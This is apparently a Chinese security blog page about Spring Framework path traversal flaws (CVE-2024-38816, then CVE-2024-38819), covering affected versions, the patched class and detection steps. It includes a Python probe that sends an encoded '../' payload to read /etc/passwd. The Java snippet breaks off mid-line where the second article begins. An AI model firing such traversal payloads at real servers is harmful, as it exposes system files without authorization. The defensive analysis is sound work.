漏洞分析 | Spring Framework路径遍历漏洞(CVE-2024-38816)

漏洞概述

VMware Spring Framework是美国威睿(VMware)公司的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。

近期,网宿安全演武实验室监测到Spring Framework在特定条件下,存在目录遍历漏洞(网宿评分:高危、CVSS 3.1 评分:7.5):

当同时满足使用 RouterFunctions 和 FileSystemResource 来处理和提供静态文件时,攻击者可构造恶意请求遍历读取系统上的文件。

目前该漏洞POC状态已在互联网公开,建议客户尽快做好自查及防护。

受影响版本

Spring Framework 5.3.0 - 5.3.39

Spring Framework 6.0.0 - 6.0.23

Spring Framework 6.1.0 - 6.1.12

其他更旧或者官方已不支持的版本

漏洞分析

根据漏洞描述(https://spring.io/security/cve-2024-38816)可知,关键变更在于如何处理静态资源路径。

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707R4

这里改了两处,分别是:

webflux --> org.springframework.web.reactive.function.server.PathResourceLookupFunction

webmvc --> org.springframework.web.servlet.function.PathResourceLookupFunction

它们都旨在为 Web 应用程序提供静态内容的访问。

以webmvc --> org.springframework.web.servlet.function.PathResourceLookupFunction为例,展开分析。

先是动态处理了资源请求,确保只返回有效并且可访问的资源。

@Override
public Optional<Resource> apply(ServerRequest request) {
        PathContainer pathContainer = request.requestPath().pathWithinApplication();
        if (!this.pattern.matches(pathContainer)) {
                return Optional.empty();
        }
 
        pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
        String path = processPath(pathContainer.value());
        if (path.contains("%")) {
                path = StringUtils.uriDecode(path, Sta
### 如何检测系统或应用是否受到 CVE-2024-38819 漏洞的影响 为了确保系统的安全性并验证是否存在 CVE-2024-38819 路径遍历漏洞,可以采取以下措施: #### 1. 版本检查 确认当前使用的功能 Web 框架版本是否已知存在此漏洞。通常供应商会在官方公告中提供受影响的版本范围。 对于 Spring Framework 用户来说,应立即查看正在运行的应用程序所依赖的具体框架版本,并对比安全公告中的受影响版本列表[^2]。 ```bash mvn dependency:tree | grep spring-webmvc ``` 上述命令可以帮助识别 Maven 项目中 `spring-webmvc` 的具体版本号。 #### 2. 自动化扫描工具 利用自动化静态分析工具来查找潜在的安全隐患。这些工具有助于快速定位可能存在问题的地方而无需手动审查每一行代码。 一些常用的开源和商业 SAST 工具能够有效地发现路径遍历模式以及其他常见的注入缺陷。 #### 3. 手动测试请求构造 如果怀疑某个特定端点可能存在风险,则可以通过构建恶意 URL 来尝试触发异常行为。请注意,在生产环境中执行此类操作前务必获得适当授权以免造成不必要的损害。 下面是一个简单的 Python 脚本用于发送带有特殊字符编码后的目录穿越序列给目标服务器作为 GET 请求的一部分: ```python import requests url = "http://example.com/static/" payload = "%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" headers = {'User-Agent': 'Mozilla/5.0'} response = requests.get(url + payload, headers=headers) if response.status_code == 200 and "root:" in response.text: print("[!] Potential path traversal vulnerability detected!") else: print("[-] No obvious signs of vulnerability.") ``` 这段脚本会向指定的目标地址发出一个精心设计过的 HTTP 请求,试图读取 Linux 系统上的 `/etc/passwd` 文件内容。成功返回预期数据则表明确实存在该类型的漏洞[^4]。 #### 4. 日志审计与监控配置 定期回顾访问日志文件寻找任何可疑活动迹象;设置实时告警机制以便及时响应新发生的威胁事件。通过这种方式可以在早期阶段阻止攻击者进一步渗透网络内部资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值